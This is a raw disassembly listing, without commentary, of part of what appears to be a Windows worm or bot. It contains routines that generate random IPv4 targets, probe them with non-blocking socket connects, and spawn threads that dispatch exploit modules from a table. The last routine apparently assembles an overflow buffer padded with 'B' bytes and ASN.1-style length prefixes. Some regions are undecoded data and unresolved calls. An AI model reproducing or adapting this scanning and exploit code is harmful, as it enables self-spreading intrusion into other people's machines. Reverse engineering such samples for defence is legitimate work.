		jbe	short loc_40C2D7
		xor	eax, eax
		jmp	short loc_40C348
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax


loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax


loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax


loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2


loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB30[ecx*8], eax


loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: ___:0040BBBEp
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBA64
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB9E4
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA80
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB98C
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB9CC
		push	esi
		mov	edi, eax
		call	dword_4CBA7C
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C3E8+353o

var_29C		= dword	ptr -29Ch
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_1CC		= byte ptr -1CCh
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_14C		= byte ptr -14Ch
var_140		= byte ptr -140h
var_13C		= byte ptr -13Ch
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 26B0BDDh
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E924[ebx]
		cmp	dword_4CBB34[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267


loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E924[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E6C
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E720[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB30
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E44
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]


loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h


loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+29Ch+var_29C], offset dword_4CDB30
		nop
		call	near ptr 77F7E300h
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]


loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_431804[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		call	near ptr 26A0475h
		nop
		jmp	loc_40C42F
; ---------------------------------------------------------------------------


loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 2710000h


loc_40C600:				; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA24
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB30[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB30
		push	esi
		call	near ptr 27107A8h
		nop
		push	80000400h
		push	esi
		nop
		call	near ptr 271061Dh
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F50
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C6B8:				; CODE XREF: sub_40C3E8+2B1j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6CE:				; CODE XREF: sub_40C3E8+27Bj
					; sub_40C3E8+297j
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB34[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B


loc_40C6EC:				; CODE XREF: sub_40C3E8+3ADj
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F1C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E924[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		call	near ptr 26A04CCh
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E934[ecx], eax
		jz	short loc_40C766


loc_40C75B:				; CODE XREF: sub_40C3E8+37Cj
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------


loc_40C766:				; CODE XREF: sub_40C3E8+371j
		nop
		call	near ptr 26A0CACh
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EE4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_40C78D:				; CODE XREF: sub_40C3E8+376j
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC


loc_40C79B:				; CODE XREF: sub_40C3E8+2FEj
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_40C7B0:				; CODE XREF: sub_40C3E8+468j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB30[eax*8]
		push	eax
		call	dword_4CBA70
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EA4
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C7FE:				; CODE XREF: sub_40C3E8+3F7j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+29Ch+var_29C], 0BB8h
		mov	dword_4CBB34[eax*8], ebx
		call	esi
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB30
		call	near ptr 27107A8h
		nop


loc_40C835:				; CODE XREF: sub_40C3E8+440j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 2710000h
		nop


loc_40C845:				; CODE XREF: sub_40C3E8+3B6j
					; sub_40C3E8+475j
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB34[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi
		jmp	short loc_40C845
sub_40C3E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB9E4
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBA64
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB98C
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E92C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBA70
		push	eax
		mov	edi, offset dword_4CE4F4
		push	offset dword_431F84
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h


loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBA7C
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp

; ---------------------------------------------------------------------------
dword_40C92C	dd 81EC8B55h, 134ECh, 5D8B5300h, 6A575608h, 59F38B2Bh
					; DATA XREF: sub_401ACD+5F60o
		dd 0FF4CBD8Dh, 0A5F3FFFFh, 7080358Bh, 83C70042h, 0A4h
		dd 1, 75FFFF33h, 0E075FFD0h, 0BA7015FFh, 8D50004Ch, 0FFFECC85h
		dd 1FAC68FFh, 0E8500043h, 0F8EEh, 0FECC858Dh, 0FF68FFFFh
		dd 50000001h, 69DC458Bh, 234C0h, 0E7200500h, 0E8500043h
		dd 0F638h, 8D1CC483h, 8D50F845h, 0FFFF4C85h, 685057FFh
		dd 40C85Fh, 19E85757h, 9002293Bh, 4589C73Bh, 390B74FCh
		dd 675F47Dh, 0D6FF326Ah, 75FFF5EBh, 31E890FCh, 0FF022736h
		dd 8CB3h, 0A8BB8900h, 0FF000000h, 0E0458DD6h, 8D50046Ah
		dd 0E8500845h, 10334h, 0FF0CC483h, 15FF0875h, 4CB90Ch
		dd 45895040h, 0E015FF08h, 89004CB9h, 458D0845h,	50046A08h
		dd 50E0458Dh, 1030BE8h,	0CC48300h, 0FFFF3DE9h
		db 0FFh
byte_40CA1D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5C80o
		dd 130EC81h, 8B530000h,	5756085Dh, 0F38B2B6Ah, 50BD8D59h
		dd 0F3FFFFFFh, 80358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h
		dd 75FFD475h, 7015FFE4h, 50004CBAh, 0FED0858Dh,	68FFFFh
		dd 50004320h, 0F7FDE8h,	0D0858D00h, 68FFFFFEh, 1FFh, 0E0458B50h
		dd 234C069h, 20050000h,	500043E7h, 0F547E8h, 1CC48300h
		dd 50FC458Dh, 0FF50858Dh, 5057FFFFh, 40C85F68h,	90575700h
		dd 293A27E8h, 89C73B02h, 0B740845h, 75F87D39h, 0FF326A06h
		dd 0FFF5EBD6h, 0E8900875h, 2273540h, 8CB3FFh, 0BB890000h
		dd 0A8h, 458BD6FFh, 0D8453BD4h,	45FF0874h, 0FF6DE9D4h
		dd 75FFFFFFh, 7015FFE4h, 50004CBAh, 0FED0858Dh,	0D468FFFFh
		dd 5000431Fh, 0F76DE8h,	858D5700h, 0FFFFFED0h, 50EC75FFh
		dd 0FF54858Dh, 0FF50FFFFh, 0FFFF50B5h, 0CD53E8FFh, 75FFFFFFh
		dd 0EBB8E8E0h, 0C483FFFFh, 5FC03324h, 0C2C95B5Eh
		db 4, 0

; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40CB34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB6E	proc near		; CODE XREF: sub_40CC68+18p
					; sub_40CCE2+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_41BEB5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_40CBBA
		push	edi
		push	0
		push	esi
		call	sub_41BF70
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_41CD20
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi


loc_40CBBA:				; CODE XREF: sub_40CB6E+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_40CB6E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBC3	proc near		; CODE XREF: sub_40CC68+5Ep
					; sub_40CC68+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_40CBD3
		push	eax
		call	sub_41BA91
		pop	ecx


loc_40CBD3:				; CODE XREF: sub_40CBC3+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_40CBC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CBDC	proc near		; CODE XREF: sub_40CC68+20p
					; sub_40CD43+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_40CC09
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CC0D


loc_40CC09:				; CODE XREF: sub_40CBDC+Dj
		xor	al, al
		jmp	short loc_40CC64
; ---------------------------------------------------------------------------


loc_40CC0D:				; CODE XREF: sub_40CBDC+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_40CC32
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_40CC4C
; ---------------------------------------------------------------------------


loc_40CC32:				; CODE XREF: sub_40CBDC+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]


loc_40CC4C:				; CODE XREF: sub_40CBDC+54j
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_41BA91
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1


loc_40CC64:				; CODE XREF: sub_40CBDC+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40CBDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC68	proc near		; CODE XREF: sub_40CD9E+89p
					; sub_40CD9E+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset word_4CB89C
		call	sub_40CB6E
		lea	ecx, [ebp+var_8]
		call	sub_40CBDC
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40CCA2
		xor	al, al
		jmp	short loc_40CCDE
; ---------------------------------------------------------------------------


loc_40CCA2:				; CODE XREF: sub_40CC68+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_41BF70
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_41CD20
		add	esp, 18h
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_40CBC3
		mov	al, 1


loc_40CCDE:				; CODE XREF: sub_40CC68+38j
		pop	edi
		pop	esi
		leave
		retn
sub_40CC68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CCE2	proc near		; CODE XREF: sub_40CD16+14p
					; sub_40CD33+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		leave
		retn	8
sub_40CCE2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD16	proc near		; CODE XREF: sub_40CD9E+F0p
					; sub_40CD9E+15Bp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_40CCE2
		pop	esi
		retn	4
sub_40CD16	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD33	proc near		; CODE XREF: sub_40CD7F+Bp
					; sub_40CD9E+1A1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40CCE2
		retn	8
sub_40CD33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD43	proc near		; CODE XREF: sub_40CD7F+16p
					; sub_40CD9E+91p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		call	sub_40CBDC
		test	al, al
		jz	short loc_40CD7C
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi]
		push	1
		push	offset dword_42CC88
		call	sub_40CB6E
		mov	ecx, esi
		call	sub_40CBC3
		mov	eax, [ebp+var_8]
		mov	[esi], eax
		mov	eax, [ebp+var_4]
		mov	[esi+4], eax
		mov	al, 1


loc_40CD7C:				; CODE XREF: sub_40CD43+Fj
		pop	esi
		leave
		retn
sub_40CD43	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD7F	proc near		; CODE XREF: sub_40CD9E+134p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40CD33
		test	al, al
		jz	short loc_40CD9A
		mov	ecx, esi
		call	sub_40CD43


loc_40CD9A:				; CODE XREF: sub_40CD7F+12j
		pop	esi
		retn	8
sub_40CD7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD9E	proc near		; CODE XREF: ___:0040D625p

var_858		= byte ptr -858h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 858h
		push	ebx
		push	edi
		lea	ecx, [ebp+var_48]
		call	sub_40CB2A
		mov	edi, 408h
		cmp	[ebp+arg_8], edi
		jg	loc_40D0F2
		mov	ebx, [ebp+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, edi
		ja	loc_40D0F2
		push	esi
		lea	ecx, [ebp+var_30]
		call	sub_40CB2A
		lea	ecx, [ebp+var_20]
		call	sub_40CB2A
		lea	ecx, [ebp+var_50]
		call	sub_40CB2A
		lea	ecx, [ebp+var_18]
		call	sub_40CB2A
		lea	ecx, [ebp+var_40]
		call	sub_40CB2A
		lea	ecx, [ebp+var_38]
		call	sub_40CB2A
		lea	ecx, [ebp+var_28]
		call	sub_40CB2A
		push	4
		push	offset dword_432038
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		push	3
		push	offset dword_432040
		lea	ecx, [ebp+var_30]
		call	sub_40CCE2
		lea	ecx, [ebp+var_30]
		call	sub_40CC68
		lea	ecx, [ebp+var_30]
		call	sub_40CD43
		mov	esi, 800h
		lea	eax, [ebp+var_858]
		push	esi
		push	42h
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	ecx, [ebp+var_20]
		push	8
		push	offset aRbrbrbrb ; "BBBB"
		call	sub_40CCE2
		push	ebx
		lea	ecx, [ebp+var_20]
		push	[ebp+arg_C]
		call	sub_40CCE2
		mov	eax, 409h
		lea	ecx, [ebp+var_20]
		sub	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_858]
		push	eax
